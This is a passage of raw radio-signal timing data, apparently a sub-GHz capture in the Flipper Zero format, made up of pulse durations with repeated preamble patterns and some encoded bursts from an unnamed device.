154 -166 77 -113 51 -92 51 -68 51 -68 151 -60 53 -312 67 -144 69 -115 83 -114 113 -463 93 -172 135 -52 53 -425 129 -126 61 -78 57 -84 113 -550 166 -72 53 -78 69 -184 65 -106 67 -90 83 -124 75 -126 157 -329 79 -334 88 -1024 59 -189 77 -625 67 -423 53 -561 53 -84 97 -198 71 -86 55 -461 61 -304 263 -107 148 -213 92 -673 63 -148 71 -490 61 -90 71 -170 87 -415 53 -214 81 -633 59 -235 59 -328 75 -692 51 -158 59 -134 171 -82 61 -117 53 -62 53 -82 61 -118 53 -178 114 -108 107 -145 81 -320 152 -134 100 -54 53 -177 92 -391 75 -241 51 -84 165 -538 81 -165 51 -316 231 -197 79 -394 51 -283 53 -488 115 -362 51 -246 63 -72 53 -60 81 -632 118 -112 71 -378 204 -744 69 -205 59 -703 69 -213 102 -100 59 -163 98 -233 89 -88 182 -150 112 -68 75 -442 123 -154 67 -86 251 -133 81 -106 208 -64 121 -195 79 -185 150 -86 53 -198 272 -89 370 -258 61 -333 59 -111 51 -200 97 -538 53 -54 221 -609 145 -221 77 -98 112 -114 59 -176 59 -137 67 -508 104 -193 57 -143 53 -190 171 -455 71 -592 221 -152 96 -97 83 -111 79 -340 61 -1104 91 -186 63 -52 59 -292 53 -72 78 -155 61 -234 51 -278 53 -742 80 -292 77 -258 75 -261 67 -216 51 -226 103 -68 51 -161 -RAW_Data: 71 -185 77 -215 59 -212 111 -178 53 -52 59 -60 81 -800 89 -250 61 -74 67 -98 142 -80 211 -734 97 -668 53 -766 77 -181 71 -144 573 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -158 51 -564 71 -204 148 -239 53 -443 55 -229 106 -124 80 -312 75 -272 86 -583 79 -170 67 -149 134 -247 59 -797 186 -499 69 -451 81 -54 53 -60 97 -230 51 -84 97 -142 51 -359 75 -172 91 -426 65 -438 65 -464 57 -546 51 -203 89 -215 51 -191 268 -107 53 -169 143 -62 67 -82 69 -74 51 -204 71 -84 57 -97 71 -216 97 -54 71 -201 97 -172 53 -1061 53 -183 67 -144 71 -428 114 -431 69 -236 71 -479 99 -116 75 -70 94 -178 69 -349 53 -222 -RAW_Data: 102 -227 67 -90 156 -218 127 -260 124 -664 51 -663 159 -78 69 -72 168 -200 134 -68 67 -86 85 -341 61 -451 132 -150 77 -339 55 -337 61 -542 173 -250 53 -520 53 -243 53 -527 61 -90 83 -242 125 -105 252 -289 107 -343 51 -205 51 -258 97 -90 101 -541 107 -514 57 -206 51 -122 69 -280 126 -170 71 -537 79 -161 125 -98 59 -439 71 -124 57 -72 51 -95 83 -262 95 -431 95 -66 115 -426 51 -305 71 -182 108 -259 65 -325 172 -60 81 -90 154 -66 53 -358 129 -150 97 -54 93 -236 51 -172 188 -296 86 -360 59 -593 71 -268 53 -210 93 -129 61 -144 87 -450 83 -172 74 -97 69 -190 51 -90 140 -185 185 -170 105 -90 67 -258 89 -283 109 -107 51 -106 1175 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 127 -64 63 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -126 55 -70 125 -64 63 -62 63 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 61 -64 63 -128 63 -62 63 -64 61 -64 63 -62 63 -64 127 -128 127 -128 127 -56 69 -62 61 -64 63 -64 61 -130 127 -128 127 -56 69 -62 61 -64 63 -128 63 -62 63 -64 125 -66 61 -64 61 -64 63 -64 63 -128 63 -62 127 -128 127 -56 69 -62 63 -64 61 -128 65 -62 63 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 127 -64 273 -177 112 -290 51 -96 53 -238 63 -130 73 -382 133 -765 97 -142 84 -327 85 -888 107 -76 61 -435 53 -304 83 -121 53 -90 53 -82 89 -956 186 -353 63 -478 51 -238 121 -183 73 -118 53 -709 133 -172 78 -70 51 -114 99 -236 51 -86 53 -397 160 -54 113 -215 -RAW_Data: 105 -299 113 -220 183 -62 53 -169 89 -126 63 -114 53 -62 128 -469 93 -955 55 -225 137 -191 99 -962 104 -194 161 -487 195 -58 71 -102 160 -188 81 -227 293 -294 99 -184 63 -409 81 -76 53 -478 61 -64 150 -300 67 -134 51 -114 114 -72 53 -54 51 -244 67 -68 53 -377 105 -169 51 -98 55 -273 71 -167 116 -413 109 -90 79 -203 83 -617 113 -198 53 -136 94 -150 79 -164 86 -304 81 -144 53 -943 113 -504 67 -348 75 -154 102 -662 149 -143 53 -247 115 -130 182 -214 100 -578 53 -167 112 -139 108 -56 53 -54 161 -146 95 -88 63 -609 83 -122 106 -1102 53 -142 65 -189 97 -112 61 -330 98 -241 67 -643 53 -132 121 -256 71 -62 107 -408 69 -706 73 -68 63 -124 91 -110 75 -70 88 -76 73 -344 132 -241 85 -116 59 -785 101 -335 51 -340 51 -330 63 -200 71 -214 127 -300 51 -356 117 -88 59 -93 81 -188 69 -157 51 -527 108 -378 121 -60 93 -179 65 -169 53 -360 122 -90 150 -455 152 -221 70 -86 61 -345 122 -147 83 -108 97 -64 97 -84 65 -105 107 -84 107 -130 86 -282 99 -173 81 -54 69 -354 67 -84 166 -200 89 -116 85 -193 186 -370 93 -214 71 -90 61 -196 71 -116 51 -549 264 -80 53 -113 99 -159 71 -80 97 -176 169 -124 193 -195 159 -62 67 -184 61 -350 329 -163 65 -272 151 -259 53 -288 69 -96 96 -102 204 -52 61 -106 93 -312 53 -314 83 -348 61 -54 71 -169 53 -86 113 -54 187 -70 53 -72 71 -160 63 -76 55 -60 73 -192 89 -309 61 -130 67 -127 61 -242 71 -52 63 -126 89 -108 104 -62 69 -106 63 -1722 95 -98 53 -72 178 -132 53 -321 51 -90 53 -542 89 -414 73 -194 81 -114 53 -445 83 -64 91 -781 88 -142 122 -461 154 -253 105 -323 63 -374 51 -328 105 -82 129 -802 69 -526 65 -310 63 -658 101 -729 89 -301 59 -598 77 -214 79 -514 81 -52 53 -94 132 -319 142 -242 81 -505 99 -462 71 -98 69 -625 63 -144 61 -324 81 -305 73 -54 53 -268 107 -212 51 -106 113 -318 173 -89 125 -247 124 -104 51 -106 97 -132 53 -112 85 -365 53 -72 90 -329 152 -108 123 -96 53 -96 206 -742 111 -96 53 -265 71 -146 107 -202 51 -95 53 -162 51 -504 51 -93 84 -303 119 -779 67 -336 59 -294 117 -904 110 -90 71 -144 53 -159 85 -202 67 -119 151 -107 73 -592 115 -172 124 -531 83 -262 149 -224 197 -215 51 -128 159 -235 160 -188 61 -137 100 -396 -RAW_Data: 51 -111 73 -76 151 -464 53 -554 118 -56 51 -183 69 -261 55 -112 97 -74 87 -143 71 -234 71 -167 75 -173 53 -1018 88 -361 110 -216 96 -309 53 -351 53 -270 57 -177 108 -142 95 -66 89 -489 155 -133 218 -245 174 -70 133 -213 193 -122 176 -60 375 -241 157 -119 87 -112 200 -140 137 -52 77 -80 93 -72 142 -104 93 -90 144 -72 235 -92 107 -62 69 -68 272 -185 80 -82 55 -58 61 -52 132 -154 132 -72 51 -86 137 -160 228 -76 132 -214 88 -189 53 -221 224 -76 63 -72 51 -288 183 -133 162 -169 381 -72 116 -56 141 -70 65 -117 69 -368 67 -88 330 -74 142 -66 191 -318 156 -64 141 -335 251 -56 75 -52 81 -76 173 -66 119 -360 208 -76 61 -68 110 -64 160 -54 59 -138 141 -52 69 -63 105 -76 153 -130 99 -107 220 -105 73 -239 152 -239 101 -294 97 -107 70 -79 89 -62 135 -297 101 -103 95 -112 97 -112 274 -62 166 -139 87 -54 213 -52 75 -54 104 -172 67 -232 131 -242 88 -106 150 -72 75 -157 59 -130 114 -81 61 -175 91 -178 127 -60 208 -151 71 -104 53 -62 118 -74 122 -104 162 -60 81 -510 117 -102 148 -80 104 -140 57 -185 565 -146 312 -95 104 -122 55 -80 192 -91 172 -64 158 -115 53 -202 57 -86 146 -126 59 -76 312 -133 79 -340 163 -56 99 -267 134 -135 57 -149 75 -200 203 -143 71 -138 77 -158 65 -554 221 -52 97 -178 89 -58 59 -90 105 -108 107 -266 53 -90 67 -168 114 -219 117 -86 71 -126 143 -344 63 -80 51 -168 116 -144 153 -116 61 -192 59 -231 75 -931 243 -259 79 -106 150 -366 126 -268 77 -357 53 -546 53 -407 51 -130 67 -353 51 -181 69 -117 59 -90 94 -171 63 -66 104 -184 141 -92 75 -381 99 -76 111 -755 51 -228 71 -324 61 -565 89 -88 69 -449 63 -395 142 -82 104 -730 67 -223 133 -90 77 -345 59 -140 67 -617 71 -249 83 -221 156 -169 63 -125 71 -714 79 -639 107 -62 61 -649 114 -92 83 -90 81 -108 61 -185 65 -351 80 -80 51 -62 53 -60 63 -156 111 -204 81 -118 75 -288 107 -179 155 -138 53 -233 81 -72 133 -349 77 -174 330 -171 53 -92 59 -90 107 -138 79 -157 69 -204 53 -144 307 -224 51 -184 81 -133 59 -114 53 -124 731 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 193 -126 152 -355 105 -114 77 -80 120 -78 53 -273 107 -322 87 -404 98 -54 59 -105 79 -82 59 -76 55 -572 71 -52 59 -231 89 -465 55 -877 59 -168 106 -60 113 -345 59 -98 93 -118 53 -349 92 -138 51 -312 59 -326 63 -223 59 -89 83 -126 51 -119 59 -267 81 -458 79 -97 122 -253 80 -76 119 -641 51 -141 57 -117 116 -393 97 -276 51 -502 79 -447 61 -333 53 -515 104 -879 51 -119 63 -141 73 -52 59 -354 51 -100 147 -101 73 -134 59 -184 243 -140 63 -436 59 -153 71 -161 53 -103 53 -431 81 -169 71 -62 114 -103 67 -129 77 -179 149 -92 53 -232 233 -282 81 -82 87 -90 83 -270 81 -186 77 -124 53 -96 51 -160 77 -90 89 -112 82 -88 59 -158 67 -200 53 -192 53 -238 51 -364 51 -359 67 -402 83 -199 71 -52 110 -100 97 -310 100 -82 68 -108 75 -320 61 -152 87 -198 96 -88 -RAW_Data: 119 -90 69 -1408 224 -94 88 -222 67 -413 59 -140 51 -544 67 -74 174 -349 67 -150 121 -365 59 -633 63 -72 107 -608 75 -105 89 -680 87 -98 195 -154 119 -52 79 -52 55 -224 61 -297 69 -263 67 -375 1327 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 61 -64 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 61 -64 63 -64 63 -62 127 -130 127 -128 125 -56 69 -62 63 -62 63 -64 63 -128 127 -128 127 -56 69 -62 61 -64 63 -128 63 -64 61 -64 127 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -128 129 -56 69 -62 61 -64 63 -128 63 -62 63 -64 125 -66 61 -64 61 -128 127 -130 125 -128 127 -56 287 -88 61 -64 61 -111 59 -252 158 -303 71 -420 107 -243 80 -206 55 -148 115 -521 79 -472 175 -96 77 -479 53 -206 105 -700 97 -408 121 -154 59 -170 88 -90 115 -120 71 -257 114 -254 81 -159 101 -100 57 -126 95 -223 69 -780 69 -52 51 -300 95 -108 71 -277 63 -76 53 -200 106 -134 156 -148 53 -166 95 -714 79 -550 51 -532 110 -292 134 -560 88 -550 85 -258 188 -334 98 -232 71 -100 116 -193 114 -90 59 -287 59 -72 97 -212 59 -112 57 -251 53 -180 61 -517 278 -294 89 -453 53 -221 87 -144 53 -397 71 -257 83 -265 114 -301 77 -729 104 -280 73 -228 79 -496 67 -285 115 -380 96 -144 69 -270 97 -498 72 -686 149 -514 105 -279 59 -198 53 -194 67 -176 79 -170 63 -208 106 -151 55 -88 85 -112 71 -72 101 -290 61 -152 51 -90 112 -165 63 -120 -RAW_Data: 65 -70 148 -233 82 -54 69 -177 151 -112 122 -296 51 -547 166 -263 69 -105 57 -60 89 -197 55 -359 65 -285 79 -240 129 -228 111 -386 59 -114 51 -189 57 -373 77 -78 55 -302 73 -86 146 -290 193 -98 89 -72 51 -231 89 -254 93 -106 96 -344 81 -946 121 -1008 116 -144 92 -141 59 -167 82 -248 102 -276 132 -78 111 -66 51 -290 81 -70 61 -196 51 -549 125 -147 77 -106 107 -142 97 -103 53 -883 83 -92 95 -56 244 -477 88 -214 102 -534 154 -92 51 -334 75 -464 382 -116 75 -78 103 -160 128 -299 130 -64 79 -136 124 -193 61 -106 265 -391 96 -279 176 -54 63 -87 424 -258 260 -658 57 -273 263 -196 53 -166 63 -54 290 -58 79 -196 349 -60 238 -66 396 -161 77 -62 83 -97 104 -135 53 -60 144 -74 67 -112 61 -182 160 -68 352 -252 141 -86 126 -166 121 -72 61 -54 61 -54 81 -78 71 -108 89 -120 150 -150 314 -98 105 -489 155 -183 193 -105 71 -134 71 -114 289 -58 145 -52 59 -82 196 -121 83 -68 122 -122 124 -112 208 -62 96 -104 61 -108 71 -72 178 -128 187 -186 133 -100 75 -123 106 -206 356 -447 172 -205 139 -52 129 -216 94 -70 198 -76 51 -96 226 -140 97 -436 87 -104 131 -82 117 -122 76 -355 51 -210 89 -116 69 -212 84 -1246 69 -474 53 -167 59 -72 53 -154 59 -279 173 -551 61 -82 194 -1226 84 -104 186 -54 69 -1024 152 -121 57 -333 71 -395 53 -367 82 -313 99 -175 127 -82 69 -146 63 -452 51 -122 125 -90 123 -121 89 -111 126 -309 105 -184 84 -198 69 -302 61 -409 87 -230 124 -140 53 -62 177 -126 107 -64 89 -172 55 -60 67 -60 234 -209 71 -243 73 -208 116 -701 103 -324 51 -386 99 -74 67 -64 87 -60 182 -177 53 -195 85 -332 111 -210 73 -78 146 -607 67 -464 61 -149 78 -204 169 -265 69 -99 132 -401 116 -410 71 -132 63 -152 71 -197 71 -110 98 -144 109 -96 53 -465 67 -90 53 -532 73 -279 84 -148 51 -728 88 -204 88 -261 63 -68 59 -136 59 -343 85 -177 59 -54 71 -332 53 -205 53 -116 71 -121 87 -72 53 -352 63 -244 57 -454 83 -106 109 -102 95 -136 67 -68 81 -194 83 -225 55 -337 85 -126 106 -112 59 -52 102 -89 53 -251 71 -161 61 -477 63 -626 51 -575 51 -366 98 -62 135 -639 51 -96 127 -214 89 -229 114 -404 83 -90 81 -248 61 -248 81 -100 59 -357 278 -62 67 -90 146 -108 104 -90 412 -232 99 -214 294 -138 -RAW_Data: 133 -153 110 -52 156 -56 69 -62 151 -348 53 -119 73 -108 105 -54 278 -62 132 -186 213 -54 246 -54 61 -107 79 -64 97 -92 166 -68 115 -72 63 -252 51 -254 81 -107 119 -329 51 -60 204 -143 67 -122 63 -132 51 -90 114 -52 88 -188 99 -345 149 -164 155 -183 73 -68 133 -84 75 -82 137 -152 71 -116 51 -240 151 -72 53 -54 185 -326 136 -112 67 -198 107 -119 141 -76 271 -268 154 -76 164 -193 279 -568 79 -70 51 -152 144 -209 71 -573 98 -140 139 -183 89 -82 61 -955 96 -344 104 -132 115 -274 53 -151 53 -193 118 -74 75 -60 51 -420 81 -1160 71 -98 63 -72 123 -52 117 -72 116 -68 65 -767 110 -148 92 -324 73 -408 126 -52 67 -229 51 -362 55 -767 53 -406 81 -653 59 -414 71 -198 106 -527 85 -164 59 -98 159 -287 63 -650 61 -203 186 -78 51 -90 53 -170 61 -215 53 -812 131 -482 208 -54 145 -200 53 -265 67 -294 73 -272 59 -174 61 -160 103 -729 93 -458 65 -200 223 -100 137 -459 71 -380 89 -147 51 -285 53 -62 150 -171 53 -206 153 -691 51 -132 141 -84 51 -465 112 -428 150 -240 105 -171 115 -1338 53 -417 81 -134 103 -52 67 -136 124 -220 53 -136 65 -188 83 -205 63 -108 53 -54 59 -174 63 -277 51 -78 65 -447 73 -134 81 -108 117 -287 117 -751 143 -135 78 -125 87 -245 61 -126 85 -333 53 -178 97 -131 61 -704 79 -200 81 -186 79 -206 53 -98 100 -278 81 -100 106 -151 89 -219 120 -246 53 -52 81 -81 59 -329 53 -282 97 -256 79 -192 104 -52 70 -62 59 -115 322 -152 77 -347 80 -54 81 -56 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -128 127 -128 127 -56 69 -124 129 -128 63 -62 61 -64 125 -128 129 -56 69 -126 127 -128 63 -62 61 -64 127 -128 127 -128 127 -126 323 -1511 75 -359 209 -108 53 -108 107 -90 51 -133 68 -269 53 -302 75 -52 59 -176 111 -458 121 -363 59 -544 71 -150 143 -143 53 -320 63 -62 106 -186 79 -169 85 -375 63 -316 96 -181 87 -70 81 -336 63 -52 61 -457 61 -120 63 -291 118 -382 89 -186 121 -567 97 -56 51 -150 99 -119 59 -390 104 -104 51 -949 63 -693 85 -122 88 -190 78 -70 92 -206 55 -88 79 -266 125 -62 51 -120 57 -72 61 -667 61 -632 53 -154 104 -80 63 -98 131 -158 61 -132 83 -150 71 -280 103 -140 63 -311 205 -587 118 -248 98 -247 89 -112 122 -191 51 -135 97 -235 51 -649 81 -54 71 -213 53 -216 124 -246 106 -126 81 -60 93 -54 67 -354 73 -118 71 -72 71 -739 81 -108 95 -82 53 -125 168 -216 89 -52 97 -160 89 -90 155 -122 51 -265 63 -150 128 -186 63 -361 59 -214 63 -84 154 -82 69 -450 71 -371 59 -80 53 -510 53 -302 115 -205 57 -348 142 -546 53 -126 67 -122 55 -60 53 -58 93 -104 87 -222 99 -281 120 -252 85 -72 98 -108 124 -251 141 -241 63 -80 97 -233 51 -282 83 -780 104 -227 65 -54 71 -563 327 -88 53 -580 73 -62 160 -62 107 -108 51 -230 71 -70 89 -80 79 -144 197 -144 57 -90 114 -338 143 -202 53 -417 172 -353 133 -209 189 -52 65 -80 63 -251 274 -64 61 -104 195 -244 79 -116 61 -116 160 -197 69 -203 122 -52 71 -196 53 -127 111 -102 162 -370 124 -447 149 -242 51 -247 111 -52 227 -90 176 -309 67 -162 99 -104 75 -237 198 -295 53 -116 150 -144 59 -68 143 -136 63 -149 88 -96 89 -205 97 -417 67 -294 89 -136 211 -396 61 -122 59 -127 61 -125 137 -76 155 -54 187 -203 59 -68 55 -60 51 -68 99 -52 97 -76 95 -164 57 -287 193 -62 106 -141 244 -400 135 -183 260 -62 131 -263 53 -136 81 -72 87 -87 109 -136 97 -74 118 -64 59 -94 53 -60 82 -199 213 -231 53 -326 267 -176 89 -184 53 -246 177 -163 81 -371 53 -80 89 -430 71 -126 129 -89 161 -90 53 -240 67 -243 51 -129 97 -64 86 -132 117 -222 68 -406 61 -598 149 -165 67 -82 73 -74 86 -381 97 -70 57 -105 51 -312 98 -188 79 -88 152 -438 57 -72 107 -110 63 -648 74 -265 -RAW_Data: 92 -163 51 -112 77 -110 59 -234 71 -291 75 -129 85 -359 89 -108 71 -198 51 -52 142 -64 63 -451 59 -291 51 -62 71 -100 69 -128 53 -265 99 -134 96 -160 69 -180 63 -769 91 -115 65 -72 51 -80 86 -276 53 -168 89 -297 51 -261 75 -222 59 -926 55 -283 170 -98 73 -66 125 -116 159 -80 53 -158 187 -86 57 -84 63 -142 122 -118 53 -54 51 -82 61 -58 61 -501 122 -267 51 -92 127 -82 559 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 225 -157 91 -336 75 -116 134 -252 89 -60 55 -138 103 -247 117 -324 92 -185 55 -96 71 -72 97 -58 125 -393 59 -102 55 -162 161 -125 123 -178 81 -151 85 -550 53 -98 93 -171 55 -301 123 -72 61 -109 55 -974 129 -177 -RAW_Data: 76 -76 108 -481 53 -88 174 -1006 100 -194 83 -346 124 -54 59 -1248 111 -280 69 -106 55 -282 67 -385 65 -72 61 -60 63 -110 124 -84 124 -72 109 -264 61 -596 59 -287 85 -88 71 -62 161 -176 91 -165 93 -186 53 -214 83 -100 92 -383 53 -231 59 -305 169 -82 149 -54 159 -152 78 -317 141 -172 61 -542 91 -74 87 -409 71 -388 53 -233 65 -106 77 -66 145 -54 67 -62 98 -90 77 -204 125 -329 121 -124 61 -82 89 -337 108 -551 51 -320 111 -235 57 -76 61 -242 133 -1172 149 -487 75 -917 67 -128 67 -112 67 -611 132 -116 97 -84 83 -253 99 -60 99 -182 59 -429 67 -204 115 -886 69 -136 59 -494 151 -116 53 -535 51 -66 87 -355 53 -348 85 -70 53 -568 184 -328 117 -74 69 -110 144 -268 63 -60 53 -234 136 -293 88 -72 149 -160 111 -238 75 -302 71 -54 79 -198 53 -107 53 -62 53 -413 79 -542 265 -256 51 -293 53 -600 87 -414 59 -52 89 -295 190 -194 81 -216 1065 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -126 63 -64 125 -64 63 -62 63 -128 63 -64 125 -64 63 -126 63 -64 61 -64 63 -62 63 -64 127 -64 63 -64 61 -128 127 -128 63 -62 125 -130 127 -128 125 -128 127 -118 135 -56 69 -62 61 -128 127 -128 127 -128 55 -62 69 -62 127 -128 63 -64 313 -64 185 -171 81 -141 85 -270 57 -110 51 -332 137 -190 53 -54 81 -99 -RAW_Data: 81 -82 53 -90 71 -257 90 -54 113 -222 51 -64 157 -68 59 -155 96 -568 71 -246 89 -409 156 -537 87 -313 185 -54 96 -108 71 -107 81 -157 96 -389 51 